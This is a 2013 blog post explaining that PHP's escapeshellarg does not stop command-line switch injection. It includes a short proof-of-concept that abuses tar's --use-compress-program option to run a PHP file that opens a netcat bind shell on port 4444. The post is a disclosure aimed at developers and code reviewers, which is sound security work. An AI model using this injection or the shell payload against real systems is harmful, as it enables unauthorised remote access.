Wednesday, 13 November 2013

Security issues with using PHP's escapeshellarg

Using user supplied data on the command line is traditionally a security disaster waiting to happen. In an infinite universe there are however times when you might need to do just that. You will be glad to know that PHP provides two functions to aid you with security in those situations: escapeshellcmd and escapeshellarg.
The PHP documentation defines these functions as: 
  • escapeshellcmd() escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator.
    Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.

  • escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.

There are some caveats around the use of these functions which the documentation doesn't cover, command line switches inside single quotes are still treated as command line switches. For example: ls '--help' will print the help text for the ls command. Thus it may be possible to inject data to alter the intended execution, typically referred to as command injection. In order to illustrate this bug I have created a simple proof of concept script which will spawn a bind shell on port 4444 by diverting the execution of tar with command line switches:

# PoC exploit of php not escaping dash characters in escapeshellarg/cmd
# Reference:
# Written by Eldar "Wireghoul" Marcussen

# Create a malicious file:

$fh fopen('myfile.png''w');
fwrite($fh"<?php system('nc -lvp 4444 -e /bin/bash'); echo 'WINRAR!'; ?>");

# I choose to use php here, you could use whatever binary you like

$safe_opts escapeshellarg('--use-compress-program=php');
$safe_file escapeshellarg('myfile.png'); # Really a php script with a .png extension
system("tar $safe_opts -cf export.tar $safe_file");

The response from the PHP security team is that this is expected behavior, and that it is not possible to protect programs that use parameters in unsafe ways. While I understand their point of view, I still feel that the documentation does not clearly highlight the potential risk around using escapeshellarg. And if you are doing source code reviews I would take a closer look at any operation which relies on escapeshellarg to sanitise user supplied input.